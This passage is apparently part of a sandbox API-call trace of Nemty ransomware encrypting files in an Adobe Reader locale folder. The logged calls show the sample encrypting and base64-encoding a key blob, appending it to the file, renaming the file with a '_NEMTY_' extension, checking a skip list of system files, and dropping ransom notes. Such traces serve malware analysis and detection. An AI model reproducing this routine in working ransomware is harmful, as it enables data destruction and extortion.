hHeap=0x4f90000) returned 1 [0178.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.805] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.805] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.805] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.805] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="LtxLDELqDFq6C2Zed0Bz0jTRCMkwOJB9A2TJs5fmvpo8jGTS/ffzNOXz1MGdQDY4\r\n6r6+vb63f//S26nmnAfgHpDv0vrI4efTVAZej0pGaZuUmeu22X+wPqzwjP7zD2fe\r\ntwIgJOtFjOShYKKmD2HW+ex04m36nCManhyYuZqyad0mqc9e/8PZuyZ2A5odH5/V\r\ndbozGfD2NwVXaPARRhc69aAC1FCMTKFKZ0SXRv2dPo2eVzFe0jsinHDdkIKnuRz3\r\nV3RJOZKucSS5ADTWqKl9mQmXn2+XKJ3MTBqapP3iU92B/OFpXJ+goFV8JLDBs1jl\r\n+LirjmzOIuw8AE66WO6afQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.806] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Weblink.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\weblink.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.806] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0178.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0178.806] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.806] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0178.809] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.809] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0178.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.810] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0178.810] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.810] CloseHandle (hObject=0x2e8) returned 1 [0178.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.810] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Weblink.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\weblink.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Weblink.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\weblink.ita._nemty_kgobjgd_")) returned 1 [0178.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.811] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df40d10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1df40d10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1df40d10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0178.811] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0178.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0178.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.812] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df40d10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1df40d10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1df40d10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0178.812] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0178.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0178.812] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0178.812] lstrcmpiW (lpString1="ja_JP", lpString2=".") returned 1 [0178.812] lstrcmpiW (lpString1="ja_JP", lpString2="..") returned 1 [0178.812] lstrcmpiW (lpString1="ja_JP", lpString2="...") returned 1 [0178.812] lstrcmpiW (lpString1="ja_JP", lpString2="windows") returned -1 [0178.812] lstrcmpiW (lpString1="ja_JP", lpString2="$RECYCLE.BIN") returned 1 [0178.812] lstrcmpiW (lpString1="ja_JP", lpString2="rsa") returned -1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="NTDETECT.COM") returned -1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="ntldr") returned -1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="MSDOS.SYS") returned -1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="IO.SYS") returned 1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="boot.ini") returned 1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="boot.ini") returned 1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="AUTOEXEC.BAT") returned 1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="ntuser.dat") returned -1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="desktop.ini") returned 1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="CONFIG.SYS") returned 1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="RECYCLER") returned -1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="BOOTSECT.BAK") returned 1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="bootmgr") returned 1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="programdata") returned -1 [0178.813] lstrcmpiW (lpString1="ja_JP", lpString2="appdata") returned 1 [0178.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja_JP", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0178.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja_JP", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ja_JP", lpUsedDefaultChar=0x0) returned 5 [0178.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja_JP", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0178.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja_JP", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ja_JP", lpUsedDefaultChar=0x0) returned 5 [0178.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0178.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0178.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0178.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0178.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0178.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0178.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0178.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0178.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0178.816] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.816] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0178.817] CloseHandle (hObject=0x254) returned 1 [0178.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0178.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0178.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0178.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0178.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0178.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0178.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0178.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.818] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.818] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0178.819] CloseHandle (hObject=0x254) returned 1 [0178.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.819] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1e3914f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e3914f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0178.819] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0178.819] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1e3914f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e3914f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0178.819] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0178.820] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0178.820] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, 